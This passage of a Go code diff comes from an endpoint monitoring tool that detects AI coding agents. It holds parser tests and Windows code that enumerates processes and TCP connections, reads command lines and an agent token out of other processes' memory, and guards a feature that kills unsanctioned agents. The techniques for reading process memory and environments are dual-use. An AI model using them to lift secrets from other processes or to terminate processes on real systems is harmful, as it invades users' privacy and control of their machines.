|
||||
"argv[0] is the value this must never return", got)
|
||||
}
|
||||
// The same sanitising as everywhere else: an app bundle path with spaces is
|
||||
// kept whole, a relative saved path is not an identity.
|
||||
if got := parseProcargs2ExePath(blob(1, "/Applications/My App.app/Contents/MacOS/My App", "x")); got !=
|
||||
"/Applications/My App.app/Contents/MacOS/My App" {
|
||||
t.Errorf("a path with spaces must survive whole, got %q", got)
|
||||
}
|
||||
if got := parseProcargs2ExePath(blob(1, "claude", "claude")); got != "" {
|
||||
t.Errorf("a relative saved path must not become an identity, got %q", got)
|
||||
}
|
||||
// Refusals: nothing here may guess past a blob it does not understand. A
|
||||
// short read is what a racing exec produces (the kernel then copies out the
|
||||
// TAIL of the argument area, not its head — xnu sysctl_procargsx), and
|
||||
// parsing that would invent a path out of somebody's environment.
|
||||
for _, bad := range [][]byte{
|
||||
nil,
|
||||
{1, 2, 3}, // shorter than argc
|
||||
{1, 0, 0, 0}, // argc with nothing after it
|
||||
append(blob(1)[:4], []byte("/usr/b")...), // no terminator inside the buffer
|
||||
{0xff, 0xff, 0xff, 0xff, '/', 'x', 0}, // negative argc: not this layout
|
||||
} {
|
||||
if got := parseProcargs2ExePath(bad); got != "" {
|
||||
t.Errorf("parseProcargs2ExePath(% x) = %q, want empty", bad, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseLsofOutput(t *testing.T) {
|
||||
out := `p111
|
||||
n127.0.0.1:52000->127.0.0.1:11434
|
||||
n10.0.0.1:52001->1.2.3.4:443
|
||||
p222
|
||||
n[::1]:52002->[::1]:1234
|
||||
p999
|
||||
n10.0.0.1:1->10.0.0.2:443
|
||||
pbogus
|
||||
n10.0.0.1:2->10.0.0.3:443`
|
||||
conns := parseLsofOutput(out, 999)
|
||||
if len(conns) != 3 {
|
||||
t.Fatalf("want 3 (self and bogus-pid blocks dropped), got %d: %+v", len(conns), conns)
|
||||
}
|
||||
if conns[0].PID != 111 || conns[0].RemotePort != 11434 {
|
||||
t.Errorf("row 0 = %+v", conns[0])
|
||||
}
|
||||
if conns[2].PID != 222 || conns[2].RemoteIP != "::1" || conns[2].RemotePort != 1234 {
|
||||
t.Errorf("v6 row = %+v", conns[2])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseEnvTokenSpaced(t *testing.T) {
|
||||
out := "node cli.js PATH=/usr/bin PRIVATAE_AGENT_TOKEN=del_xyz HOME=/Users/user"
|
||||
if got := parseEnvTokenSpaced(out, "PRIVATAE_AGENT_TOKEN"); got != "del_xyz" {
|
||||
t.Errorf("= %q, want del_xyz", got)
|
||||
}
|
||||
if got := parseEnvTokenSpaced("node cli.js PATH=/usr/bin", "PRIVATAE_AGENT_TOKEN"); got != "" {
|
||||
t.Errorf("(absent) = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Windows ─────────────────────────────────────────────────────────────────
|
||||
//
|
||||
// The Win32 calls cannot run here, but every byte layout they produce can be
|
||||
// built and decoded — which is the whole reason the parsers live outside the
|
||||
// build-tagged file.
|
||||
|
||||
func winRow4(state uint32, remoteIP [4]byte, remotePort uint16, pid uint32) []byte {
|
||||
row := make([]byte, winTCPRow4Size)
|
||||
binary.LittleEndian.PutUint32(row[0:4], state)
|
||||
copy(row[12:16], remoteIP[:])
|
||||
binary.BigEndian.PutUint16(row[16:18], remotePort) // network order, low 16 bits
|
||||
binary.LittleEndian.PutUint32(row[20:24], pid)
|
||||
return row
|
||||
}
|
||||
|
||||
func winRow6(state uint32, remoteIP [16]byte, remotePort uint16, pid uint32) []byte {
|
||||
row := make([]byte, winTCPRow6Size)
|
||||
copy(row[24:40], remoteIP[:])
|
||||
binary.BigEndian.PutUint16(row[44:46], remotePort)
|
||||
binary.LittleEndian.PutUint32(row[48:52], state)
|
||||
binary.LittleEndian.PutUint32(row[52:56], pid)
|
||||
return row
|
||||
}
|
||||
|
||||
func winTable(rows ...[]byte) []byte {
|
||||
buf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf[0:4], uint32(len(rows)))
|
||||
for _, r := range rows {
|
||||
buf = append(buf, r...)
|
||||
}
|
||||
return buf
|
||||
}
|
||||
|
||||
func TestParseTCPTableV4(t *testing.T) {
|
||||
buf := winTable(
|
||||
winRow4(winTCPStateEst, [4]byte{1, 2, 3, 4}, 443, 111),
|
||||
winRow4(2 /* SYN_SENT */, [4]byte{5, 6, 7, 8}, 443, 222), // not established
|
||||
winRow4(winTCPStateEst, [4]byte{127, 0, 0, 1}, 11434, 333),
|
||||
winRow4(winTCPStateEst, [4]byte{9, 9, 9, 9}, 443, 999), // self
|
||||
)
|
||||
conns := parseTCPTable(buf, false, 999)
|
||||
if len(conns) != 2 {
|
||||
t.Fatalf("want 2 (non-established and self dropped), got %d: %+v", len(conns), conns)
|
||||
}
|
||||
if conns[0].PID != 111 || conns[0].RemoteIP != "1.2.3.4" || conns[0].RemotePort != 443 {
|
||||
t.Errorf("row 0 = %+v", conns[0])
|
||||
}
|
||||
if conns[1].PID != 333 || conns[1].RemoteIP != "127.0.0.1" || conns[1].RemotePort != 11434 {
|
||||
t.Errorf("row 1 = %+v", conns[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTCPTableV6(t *testing.T) {
|
||||
var loop [16]byte
|
||||
loop[15] = 1 // ::1
|
||||
buf := winTable(winRow6(winTCPStateEst, loop, 1234, 444))
|
||||
conns := parseTCPTable(buf, true, 1)
|
||||
if len(conns) != 1 {
|
||||
t.Fatalf("want 1, got %d: %+v", len(conns), conns)
|
||||
}
|
||||
if conns[0].PID != 444 || conns[0].RemoteIP != "::1" || conns[0].RemotePort != 1234 {
|
||||
t.Errorf("v6 row = %+v", conns[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTCPTableTruncated(t *testing.T) {
|
||||
// A table claiming more rows than the buffer holds must stop, not panic.
|
||||
buf := make([]byte, 4+winTCPRow4Size)
|
||||
binary.LittleEndian.PutUint32(buf[0:4], 50)
|
||||
binary.LittleEndian.PutUint32(buf[4:8], winTCPStateEst)
|
||||
binary.LittleEndian.PutUint32(buf[24:28], 7)
|
||||
if got := parseTCPTable(buf, false, 1); len(got) > 1 {
|
||||
t.Fatalf("truncated table must stop at the buffer end, got %d rows", len(got))
|
||||
}
|
||||
if got := parseTCPTable(nil, false, 1); len(got) != 0 {
|
||||
t.Fatalf("nil buffer = %d rows, want 0", len(got))
|
||||
}
|
||||
if got := parseTCPTable([]byte{1, 2}, true, 1); len(got) != 0 {
|
||||
t.Fatalf("short buffer = %d rows, want 0", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
func utf16le(s string) []byte {
|
||||
b := make([]byte, 0, len(s)*2)
|
||||
for _, r := range s {
|
||||
b = append(b, byte(r), byte(r>>8))
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func TestParseWinEnvBlock(t *testing.T) {
|
||||
var blk []byte
|
||||
for _, e := range []string{`PATH=C:\Windows`, "PRIVATAE_AGENT_TOKEN=del_win1", `HOME=C:\Users\a`} {
|
||||
blk = append(blk, utf16le(e)...)
|
||||
blk = append(blk, 0, 0)
|
||||
}
|
||||
blk = append(blk, 0, 0) // terminating empty entry
|
||||
if got := parseWinEnvBlock(blk, "PRIVATAE_AGENT_TOKEN"); got != "del_win1" {
|
||||
t.Errorf("= %q, want del_win1", got)
|
||||
}
|
||||
// Windows environment names are case-insensitive.
|
||||
var lower []byte
|
||||
lower = append(lower, utf16le("privatae_agent_token=del_win2")...)
|
||||
lower = append(lower, 0, 0, 0, 0)
|
||||
if got := parseWinEnvBlock(lower, "PRIVATAE_AGENT_TOKEN"); got != "del_win2" {
|
||||
t.Errorf("case-insensitive lookup = %q, want del_win2", got)
|
||||
}
|
||||
// A block truncated by the bounded read must not loop or panic.
|
||||
if got := parseWinEnvBlock(utf16le(`PATH=C:\Windows`), "PRIVATAE_AGENT_TOKEN"); got != "" {
|
||||
t.Errorf("truncated block = %q, want empty", got)
|
||||
}
|
||||
if got := parseWinEnvBlock(nil, "PRIVATAE_AGENT_TOKEN"); got != "" {
|
||||
t.Errorf("nil block = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── the bastion must not report its own local agent as an unsanctioned agent ──
|
||||
|
||||
func TestFaOwnChildExclusion(t *testing.T) {
|
||||
if faIsOwnChild(4242) {
|
||||
t.Fatal("an untracked pid must not read as our own child")
|
||||
}
|
||||
faTrackPID(4242)
|
||||
if !faIsOwnChild(4242) {
|
||||
t.Fatal("a tracked local agent child must be excluded from the observe plane")
|
||||
}
|
||||
faUntrackPID(4242)
|
||||
if faIsOwnChild(4242) {
|
||||
t.Fatal("an exited child must stop being excluded — its pid gets reused")
|
||||
}
|
||||
faTrackPID(0)
|
||||
if faIsOwnChild(0) {
|
||||
t.Fatal("pid 0 is not a child")
|
||||
}
|
||||
}
|
||||
|
||||
// TestScanAgentsLive exercises the REAL enumerators on the machine running the
|
||||
// tests. Guarded like the local agent end-to-end test: it asserts nothing about
|
||||
// what it finds (a quiet box is a valid result) — it proves the platform path
|
||||
// executes and returns coherent records. PRIVATAE_OBSERVE_LIVE=1 to run.
|
||||
func TestScanAgentsLive(t *testing.T) {
|
||||
if os.Getenv("PRIVATAE_OBSERVE_LIVE") != "1" {
|
||||
t.Skip("set PRIVATAE_OBSERVE_LIVE=1 to scan this machine")
|
||||
}
|
||||
if !agentScanSupported {
|
||||
t.Skipf("no observe-plane enumerator for this platform (%s)", agentScanKind)
|
||||
}
|
||||
agents, err := scanAgents()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Logf("scan kind=%s observed=%d", agentScanKind, len(agents))
|
||||
for _, a := range agents {
|
||||
if a.PID <= 0 || a.Signature == "" {
|
||||
t.Errorf("incoherent observation: %+v", a)
|
||||
}
|
||||
t.Logf(" pid=%-8d sig=%-14s user=%-10s endpoints=%v cmd=%.60s",
|
||||
a.PID, a.Signature, a.User, a.LLMEndpoints, a.Cmdline)
|
||||
}
|
||||
}
|
||||
|
||||
// ── review follow-ups ───────────────────────────────────────────────────────
|
||||
|
||||
func TestIsLocalScope(t *testing.T) {
|
||||
local := []string{"127.0.0.1", "::1", "192.168.1.50", "10.0.0.9", "172.16.0.1",
|
||||
"fd00::1", "fe80::1", "100.64.0.9"} // incl. the mesh's own CGNAT range
|
||||
for _, ip := range local {
|
||||
if !isLocalScope(ip) {
|
||||
t.Errorf("isLocalScope(%q) = false, want true", ip)
|
||||
}
|
||||
}
|
||||
for _, ip := range []string{"1.2.3.4", "8.8.8.8", "2606:4700::1", "", "garbage"} {
|
||||
if isLocalScope(ip) {
|
||||
t.Errorf("isLocalScope(%q) = true, want false", ip)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A model served from a PUBLIC address is still self-hosted inference — the
|
||||
// behaviour is deliberate — but labelling it "local:" reads as a lie.
|
||||
func TestClassifyConnNamesNonLocalByAddress(t *testing.T) {
|
||||
strong := map[int]string{11434: "ollama"}
|
||||
weak := map[int]string{8080: "llama.cpp/localai"}
|
||||
cloud := map[string]string{}
|
||||
|
||||
if label, alone := classifyConn(connObs{RemoteIP: "192.168.1.50", RemotePort: 11434}, cloud, strong, weak); label != "local:11434 (ollama)" || !alone {
|
||||
t.Errorf("LAN = (%q,%v), want (local:11434 (ollama),true)", label, alone)
|
||||
}
|
||||
if label, alone := classifyConn(connObs{RemoteIP: "203.0.113.7", RemotePort: 11434}, cloud, strong, weak); label != "203.0.113.7:11434 (ollama)" || !alone {
|
||||
t.Errorf("public = (%q,%v), want (203.0.113.7:11434 (ollama),true)", label, alone)
|
||||
}
|
||||
// The two facts stay independent: address class in the prefix, port
|
||||
// confidence in the "?" suffix.
|
||||
if label, alone := classifyConn(connObs{RemoteIP: "203.0.113.7", RemotePort: 8080}, cloud, strong, weak); label != "203.0.113.7:8080 (llama.cpp/localai?)" || alone {
|
||||
t.Errorf("public ambiguous = (%q,%v)", label, alone)
|
||||
}
|
||||
if label, _ := classifyConn(connObs{RemoteIP: "127.0.0.1", RemotePort: 8080}, cloud, strong, weak); label != "local:8080 (llama.cpp/localai?)" {
|
||||
t.Errorf("loopback ambiguous = %q", label)
|
||||
}
|
||||
}
|
||||
|
||||
// The contain guard must ask the same question the heartbeat answers, on every
|
||||
// platform — it was /proc-only (inert on Windows and macOS) and
|
||||
// signature-only (an observed llm-client could never be contained).
|
||||
func TestObservedAgentPIDsCoversEveryObservation(t *testing.T) {
|
||||
prev := observedAgents
|
||||
defer func() { observedAgents = prev }()
|
||||
|
||||
observedAgents = func() ([]agentObs, error) {
|
||||
return []agentObs{
|
||||
{PID: 101, Signature: "claude-code"},
|
||||
// caught by the NETWORK signal only — no process signature at all
|
||||
{PID: 202, Signature: "llm-client", LLMEndpoints: []string{"local:11434 (ollama)"}},
|
||||
}, nil
|
||||
}
|
||||
got := observedAgentMap()
|
||||
if _, ok := got[101]; !ok {
|
||||
t.Error("a signature-matched agent must be containable")
|
||||
}
|
||||
if _, ok := got[202]; !ok {
|
||||
t.Error("an llm-client must be containable — it is exactly what the network signal exists to catch")
|
||||
}
|
||||
if _, ok := got[303]; ok {
|
||||
t.Error("a pid that was never observed must NEVER be containable")
|
||||
}
|
||||
|
||||
// A platform with no enumerator contains nothing: a box that cannot see
|
||||
// must not kill on the host's belief.
|
||||
observedAgents = func() ([]agentObs, error) { return nil, nil }
|
||||
if len(observedAgentMap()) != 0 {
|
||||
t.Error("a blind box must contain nothing")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeContainRefusesUnobserved(t *testing.T) {
|
||||
prev := observedAgents
|
||||
defer func() { observedAgents = prev }()
|
||||
observedAgents = func() ([]agentObs, error) { return []agentObs{{PID: 101, Signature: "claude-code"}}, nil }
|
||||
|
||||
// Nothing here may kill: pid 1, our own pid, and an unobserved pid are all
|
||||
// refused. If the guard regressed, this test would terminate the test run.
|
||||
self := os.Getpid()
|
||||
body := []byte(`{"contain":[1,` + itoa(self) + `,303]}`)
|
||||
maybeContain("", "", body) // must return without killing anything
|
||||
maybeContain("", "", []byte(`{}`))
|
||||
maybeContain("", "", []byte(`not json`))
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
var b []byte
|
||||
for n > 0 {
|
||||
b = append([]byte{byte('0' + n%10)}, b...)
|
||||
n /= 10
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// A walk that did not happen must not travel as an empty list. The host reads
|
||||
// `agents: []` from a box advertising agent-observe as "looked and found
|
||||
// nothing" — which marks a containment the user ordered as done — so a failed
|
||||
// enumeration withholds the key and the host holds the order.
|
||||
func TestTheBeatWithholdsAgentsWhenTheWalkFails(t *testing.T) {
|
||||
t.Setenv("OLLAMA_ADDR", "127.0.0.1:1")
|
||||
prev := scanProcessesFn
|
||||
t.Cleanup(func() { scanProcessesFn = prev })
|
||||
beat := func() map[string]any {
|
||||
t.Helper()
|
||||
var m map[string]any
|
||||
if err := json.Unmarshal([]byte(buildHeartbeatBody("", "box", "linux", "test", "pub", "fp", "", "", false, nil, nil, nil)), &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
scanProcessesFn = func() (map[int]agentObs, error) { return nil, errors.New("read /proc: permission denied") }
|
||||
m := beat()
|
||||
if v, present := m["agents"]; present {
|
||||
t.Fatalf("a failed walk travelled as %v — the host reads that as 'looked, nothing there'", v)
|
||||
}
|
||||
if _, present := m["agent_scan_ok"]; present {
|
||||
t.Fatal("a failed walk must not claim the walk happened")
|
||||
}
|
||||
if _, present := m["agent_scan"]; !present {
|
||||
t.Fatal("the enumerator kind must still travel: the failure is this beat's, not the platform's")
|
||||
}
|
||||
|
||||
// The same box, the walk working: the key travels, as a list. (Not
|
||||
// asserted empty — the connection scan is a second enumerator and on a
|
||||
// live box it still finds model clients when the process map is empty.)
|
||||
// Absent and present are the two answers, and they must stay two.
|
||||
scanProcessesFn = func() (map[int]agentObs, error) { return map[int]agentObs{}, nil }
|
||||
m = beat()
|
||||
if _, ok := m["agents"].([]any); !ok {
|
||||
t.Fatalf("a walk that happened must travel as a list, got %T %v", m["agents"], m["agents"])
|
||||
}
|
||||
// ...and says so: the host clears a containment only on a beat that
|
||||
// carries this, so a box that cannot say it (an older build) holds.
|
||||
if v, _ := m["agent_scan_ok"].(bool); !v {
|
||||
t.Fatalf("a walk that happened must travel with agent_scan_ok=true, got %v", m["agent_scan_ok"])
|
||||
}
|
||||
}
|
||||
|
||||
// observedAgents — what the kill guard, the sanction page and the policy
|
||||
// census consult — reads a failed walk as nothing observed: a box that cannot
|
||||
// see must not kill on belief.
|
||||
func TestAFailedWalkObservesNothingForTheGuard(t *testing.T) {
|
||||
prev := scanProcessesFn
|
||||
t.Cleanup(func() { scanProcessesFn = prev })
|
||||
scanProcessesFn = func() (map[int]agentObs, error) { return nil, errors.New("boom") }
|
||||
got, err := observedAgents()
|
||||
if err == nil || len(got) != 0 {
|
||||
t.Fatalf("a failed walk observed %v with err=%v — the seam must hand the error on", got, err)
|
||||
}
|
||||
if got := observedAgentMap(); len(got) != 0 {
|
||||
t.Fatalf("the guard's map was %v after a failed walk", got)
|
||||
}
|
||||
// The error wins over anything that came back beside it: a seam stub (or
|
||||
// a future enumerator) handing a partial list WITH an error must not have
|
||||
// that list believed by the thing that kills.
|
||||
prevObs := observedAgents
|
||||
t.Cleanup(func() { observedAgents = prevObs })
|
||||
observedAgents = func() ([]agentObs, error) {
|
||||
return []agentObs{{PID: 4242, Kind: kindAgent, Signature: "claude-code"}}, errors.New("partial walk")
|
||||
}
|
||||
if got := observedAgentMap(); len(got) != 0 {
|
||||
t.Fatalf("a list that came with an error was believed by the guard: %v", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,530 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Windows enumeration for the observe plane.
|
||||
//
|
||||
// This is the gap that mattered most: the bastion already SHIPS a Windows
|
||||
// binary and enforces its grants there, but both enumerators were /proc and
|
||||
// `ss`, so a Windows box observed nothing at all while reporting healthy. On
|
||||
// the fleets where "we have machines we have no visibility of" is the actual
|
||||
// problem, those machines are overwhelmingly Windows.
|
||||
//
|
||||
// Nothing here is a new dependency: golang.org/x/sys was already in the module
|
||||
// graph, and every struct layout below is taken from ITS definitions via
|
||||
// unsafe.Offsetof rather than hardcoded — so a layout change upstream moves
|
||||
// our offsets with it instead of silently corrupting a read.
|
||||
//
|
||||
// Two enumerators:
|
||||
//
|
||||
// processes CreateToolhelp32Snapshot, then the PEB for the command line.
|
||||
// Toolhelp gives the image name only, and on Windows the agent
|
||||
// worth catching (claude-code, an npm package) runs as node.exe —
|
||||
// so without the command line the common case is invisible.
|
||||
// connections GetExtendedTcpTable (iphlpapi), IPv4 and IPv6. Deliberately
|
||||
// NOT `netstat -ano`: netstat's STATE column is localized, so
|
||||
// parsing it would silently find nothing on a non-English
|
||||
// Windows. The API returns a numeric state instead.
|
||||
//
|
||||
// Every per-process read is best-effort. Reading another process's memory
|
||||
// needs rights the bastion may not hold (a process of another user, or an
|
||||
// elevated one, when the bastion is not itself elevated). A refusal yields an
|
||||
// empty command line or delegation tag, which is the SAME conservative outcome
|
||||
// as Linux when /proc/PID/environ is unreadable: the agent is still observed,
|
||||
// and an unreadable tag reads as unrequested, which surfaces it rather than
|
||||
// hiding it.
|
||||
|
||||
const (
|
||||
agentScanSupported = true
|
||||
agentScanKind = "toolhelp+iphlpapi"
|
||||
)
|
||||
|
||||
// Offsets are derived from the x/sys/windows struct definitions, never written
|
||||
// down as literals: PEB.ProcessParameters, RTL_USER_PROCESS_PARAMETERS's
|
||||
// CommandLine and Environment, and NTUnicodeString.Buffer.
|
||||
var (
|
||||
_peb windows.PEB
|
||||
_rupp windows.RTL_USER_PROCESS_PARAMETERS
|
||||
_ntus windows.NTUnicodeString
|
||||
|
||||
offPEBProcessParameters = unsafe.Offsetof(_peb.ProcessParameters)
|
||||
offRUPPCommandLine = unsafe.Offsetof(_rupp.CommandLine)
|
||||
offRUPPEnvironment = unsafe.Offsetof(_rupp.Environment)
|
||||
offNTUSBuffer = unsafe.Offsetof(_ntus.Buffer)
|
||||
|
||||
ptrSize = int(unsafe.Sizeof(uintptr(0)))
|
||||
)
|
||||
|
||||
// winEnvReadSizes: the environment block has no length we can read portably
|
||||
// (the size field's offset moved across Windows releases), so we read a bounded
|
||||
// window and stop at the block's own double-NUL terminator. A read that runs
|
||||
// off the end of the mapped region fails wholesale, so we step down rather than
|
||||
// give up — a 4 KiB environment is still worth having.
|
||||
var winEnvReadSizes = []int{64 * 1024, 16 * 1024, 4 * 1024}
|
||||
|
||||
const winCmdlineMax = 32 * 1024
|
||||
|
||||
func readRemote(h windows.Handle, addr uintptr, n int) ([]byte, error) {
|
||||
if addr == 0 || n <= 0 {
|
||||
return nil, errors.New("remote read: bad address or size")
|
||||
}
|
||||
buf := make([]byte, n)
|
||||
var got uintptr
|
||||
if err := windows.ReadProcessMemory(h, addr, &buf[0], uintptr(n), &got); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if int(got) < n {
|
||||
return buf[:got], nil
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func readRemotePtr(h windows.Handle, addr uintptr) (uintptr, error) {
|
||||
b, err := readRemote(h, addr, ptrSize)
|
||||
if err != nil || len(b) < ptrSize {
|
||||
if err == nil {
|
||||
err = errors.New("remote read: short pointer")
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
if ptrSize == 8 {
|
||||
return uintptr(binary.LittleEndian.Uint64(b)), nil
|
||||
}
|
||||
return uintptr(binary.LittleEndian.Uint32(b)), nil
|
||||
}
|
||||
|
||||
// winOpenForRead opens a process for the two rights the reads below need.
|
||||
// PROCESS_QUERY_LIMITED_INFORMATION (not the full QUERY_INFORMATION) is the
|
||||
// least privilege that still answers NtQueryInformationProcess.
|
||||
func winOpenForRead(pid int) (windows.Handle, error) {
|
||||
return windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ,
|
||||
false, uint32(pid))
|
||||
}
|
||||
|
||||
// winImagePath is the KERNEL's record of which file a process runs, from an
|
||||
// already-open handle: QueryFullProcessImageName, which reads the image path
|
||||
// the loader recorded rather than anything in the process's own memory.
|
||||
//
|
||||
// NOT Toolhelp32's PROCESSENTRY32.ExeFile — the `exe` local in scanProcesses
|
||||
// below, and origin_windows.go:50. That field is a BASENAME with no directory
|
||||
// at all, so "claude.exe" under C:\Users\user\AppData\... and "claude.exe"
|
||||
// dropped in %TEMP% are one string. A basename cannot be an identity.
|
||||
//
|
||||
// Flags 0, never PROCESS_NAME_NATIVE: the Win32 form (C:\...) is what a person
|
||||
// reading the page recognises and what another tool on the box would print.
|
||||
// The native form names the same file through a device path
|
||||
// (\Device\HarddiskVolume3\...) whose volume numbering is not stable across
|
||||
// boots.
|
||||
//
|
||||
// Two buffer sizes, the shape winEnvReadSizes above already uses. MAX_PATH is
|
||||
// not the limit on a machine with long paths enabled, so one try is not enough;
|
||||
// past 4096 there is no point trying, because sanitizeExePath refuses a path
|
||||
// that long anyway (agents_parse.go) and the extra pass would only produce a
|
||||
// value this function throws away. A refusal — a process of another user, or an
|
||||
// elevated one when the bastion is not — yields "".
|
||||
func winImagePath(h windows.Handle) string {
|
||||
for _, n := range []uint32{windows.MAX_PATH, 4096} {
|
||||
buf := make([]uint16, n)
|
||||
size := n
|
||||
err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size)
|
||||
if err == nil {
|
||||
return sanitizeExePath(windows.UTF16ToString(buf[:size]))
|
||||
}
|
||||
if !errors.Is(err, windows.ERROR_INSUFFICIENT_BUFFER) {
|
||||
return "" // a refusal, not a small buffer: a bigger one changes nothing
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// winProcessParams walks PBI -> PEB -> ProcessParameters and returns the
|
||||
// remote address of the parameter block.
|
||||
func winProcessParams(h windows.Handle) (uintptr, error) {
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
if err := windows.NtQueryInformationProcess(h, windows.ProcessBasicInformation,
|
||||
unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
peb := uintptr(unsafe.Pointer(pbi.PebBaseAddress))
|
||||
if peb == 0 {
|
||||
return 0, errors.New("process params: no PEB")
|
||||
}
|
||||
return readRemotePtr(h, peb+offPEBProcessParameters)
|
||||
}
|
||||
|
||||
// winCmdline reads a process's full command line out of its PEB.
|
||||
func winCmdline(h windows.Handle) string {
|
||||
params, err := winProcessParams(h)
|
||||
if err != nil || params == 0 {
|
||||
return ""
|
||||
}
|
||||
us, err := readRemote(h, params+offRUPPCommandLine, int(unsafe.Sizeof(_ntus)))
|
||||
if err != nil || len(us) < int(offNTUSBuffer)+ptrSize {
|
||||
return ""
|
||||
}
|
||||
length := int(binary.LittleEndian.Uint16(us[0:2])) // bytes, not code units
|
||||
if length <= 0 {
|
||||
return ""
|
||||
}
|
||||
if length > winCmdlineMax {
|
||||
length = winCmdlineMax
|
||||
}
|
||||
bufAddr, err := readRemotePtr(h, params+offRUPPCommandLine+offNTUSBuffer)
|
||||
if err != nil || bufAddr == 0 {
|
||||
return ""
|
||||
}
|
||||
raw, err := readRemote(h, bufAddr, length)
|
||||
if err != nil || len(raw) < 2 {
|
||||
return ""
|
||||
}
|
||||
u16 := make([]uint16, len(raw)/2)
|
||||
for i := range u16 {
|
||||
u16[i] = uint16(raw[i*2]) | uint16(raw[i*2+1])<<8
|
||||
}
|
||||
return windows.UTF16ToString(u16)
|
||||
}
|
||||
|
||||
// winEnvValue reads one variable out of a process's environment block.
|
||||
func winEnvValue(h windows.Handle, key string) string {
|
||||
params, err := winProcessParams(h)
|
||||
if err != nil || params == 0 {
|
||||
return ""
|
||||
}
|
||||
envAddr, err := readRemotePtr(h, params+offRUPPEnvironment)
|
||||
if err != nil || envAddr == 0 {
|
||||
return ""
|
||||
}
|
||||
for _, n := range winEnvReadSizes {
|
||||
raw, err := readRemote(h, envAddr, n)
|
||||
if err != nil || len(raw) == 0 {
|
||||
continue
|
||||
}
|
||||
if v := parseWinEnvBlock(raw, key); v != "" {
|
||||
return v
|
||||
}
|
||||
// A successful read that simply lacks the key is an answer, not a
|
||||
// reason to retry smaller.
|
||||
return ""
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// winParents caches the pid -> parent map from the last Toolhelp walk, so the
|
||||
// shared classifier's per-pid parent lookups cost nothing extra.
|
||||
var winParents = struct {
|
||||
sync.Mutex
|
||||
m map[int]int
|
||||
}{m: map[int]int{}}
|
||||
|
||||
func procParent(pid int) int {
|
||||
winParents.Lock()
|
||||
defer winParents.Unlock()
|
||||
return winParents.m[pid]
|
||||
}
|
||||
|
||||
// winCreationTime is when a process started, in 100ns FILETIME units.
|
||||
func winCreationTime(pid int) (int64, bool) {
|
||||
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, uint32(pid))
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
var created, exited, kernel, user windows.Filetime
|
||||
if err := windows.GetProcessTimes(h, &created, &exited, &kernel, &user); err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return created.Nanoseconds(), true
|
||||
}
|
||||
|
||||
// processParents walks a fresh snapshot for the CONTAIN path, and keeps only
|
||||
// parent links that can be true.
|
||||
//
|
||||
// Toolhelp's ParentProcessID is the pid of the process that CREATED this one,
|
||||
// recorded once and never updated. When that creator exits, Windows recycles
|
||||
// its pid; a later process (say, the agent being contained) can receive it,
|
||||
// and every orphan the old creator left behind then reads as the agent's
|
||||
// child. On a kill path that is an unrelated process terminated. A real
|
||||
// parent is always older than its child, so a link is kept only when both
|
||||
// creation times are readable and the child started after the parent; an
|
||||
// unreadable process contributes no link at all (fail closed: no kill). Linux
|
||||
// and macOS reparent orphans to a live process and need none of this.
|
||||
func processParents() map[int]int {
|
||||
out := map[int]int{}
|
||||
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return out
|
||||
}
|
||||
defer windows.CloseHandle(snap)
|
||||
var e windows.ProcessEntry32
|
||||
e.Size = uint32(unsafe.Sizeof(e))
|
||||
raw := map[int]int{}
|
||||
for err = windows.Process32First(snap, &e); err == nil; err = windows.Process32Next(snap, &e) {
|
||||
if pid, pp := int(e.ProcessID), int(e.ParentProcessID); pid > 0 && pp > 0 {
|
||||
raw[pid] = pp
|
||||
}
|
||||
}
|
||||
created := map[int]int64{}
|
||||
timeOf := func(pid int) (int64, bool) {
|
||||
if t, ok := created[pid]; ok {
|
||||
return t, t > 0
|
||||
}
|
||||
t, ok := winCreationTime(pid)
|
||||
if !ok {
|
||||
created[pid] = 0
|
||||
return 0, false
|
||||
}
|
||||
created[pid] = t
|
||||
return t, true
|
||||
}
|
||||
for pid, pp := range raw {
|
||||
ct, okc := timeOf(pid)
|
||||
pt, okp := timeOf(pp)
|
||||
if okc && okp && ct >= pt {
|
||||
out[pid] = pp
|
||||
}
|
||||
}
|
||||
winParents.Lock()
|
||||
winParents.m = raw // classification (not killing) may use the raw links
|
||||
winParents.Unlock()
|
||||
return out
|
||||
}
|
||||
|
||||
